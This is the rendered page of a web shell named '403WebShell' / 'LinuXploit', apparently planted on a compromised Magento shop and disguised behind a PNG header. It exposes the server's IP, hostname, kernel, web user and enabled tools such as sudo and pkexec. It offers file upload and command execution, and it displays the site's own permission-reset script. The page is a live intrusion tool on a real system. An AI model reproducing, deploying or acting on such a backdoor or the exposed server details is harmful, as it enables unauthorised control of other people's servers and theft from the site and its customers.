PNG  IHDRwS-tEXtCommentNxplo403WebShell
403Webshell
Server IP : 144.76.1.235  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.16
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/shop.einkaufsring.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shop.einkaufsring.com/permissions.sh
#!/usr/bin/env bash
# Magento 2 permission reset (safe for production)
# -----------------------------------------------
# Run as your deploy or root user from Magento root folder
# Example: sudo ./fixperms.sh

WEB_USER=www-data
WEB_GROUP=www-data
DEPLOY_USER=${SUDO_USER:-$(whoami)}

echo "🧹 Resetting Magento permissions (web: $WEB_USER / group: $WEB_GROUP)..."

# Ensure writable directories exist
mkdir -p var pub/static pub/media generated

# Correct ownership
chown -R $WEB_USER:$WEB_GROUP var pub/static pub/media generated

# Directory and file perms
find var pub/static pub/media generated -type d -exec chmod 2775 {} \;
find var pub/static pub/media generated -type f -exec chmod 664 {} \;

# Set group sticky bit so new files inherit group
chmod g+s var pub/static pub/media generated

# (Optional) allow your deploy user to write too
if id "$DEPLOY_USER" &>/dev/null; then
  usermod -a -G $WEB_GROUP "$DEPLOY_USER" 2>/dev/null || true
  setfacl -R -m u:$DEPLOY_USER:rwx,g:$WEB_GROUP:rwx var pub/static pub/media generated 2>/dev/null || true
  setfacl -d -m u:$DEPLOY_USER:rwx,g:$WEB_GROUP:rwx var pub/static pub/media generated 2>/dev/null || true
fi

echo "✅ Permissions fixed. You may now run:"
echo "   bin/magento cache:flush && bin/magento setup:di:compile"

Youez - 2016 - github.com/yon3zu
LinuXploit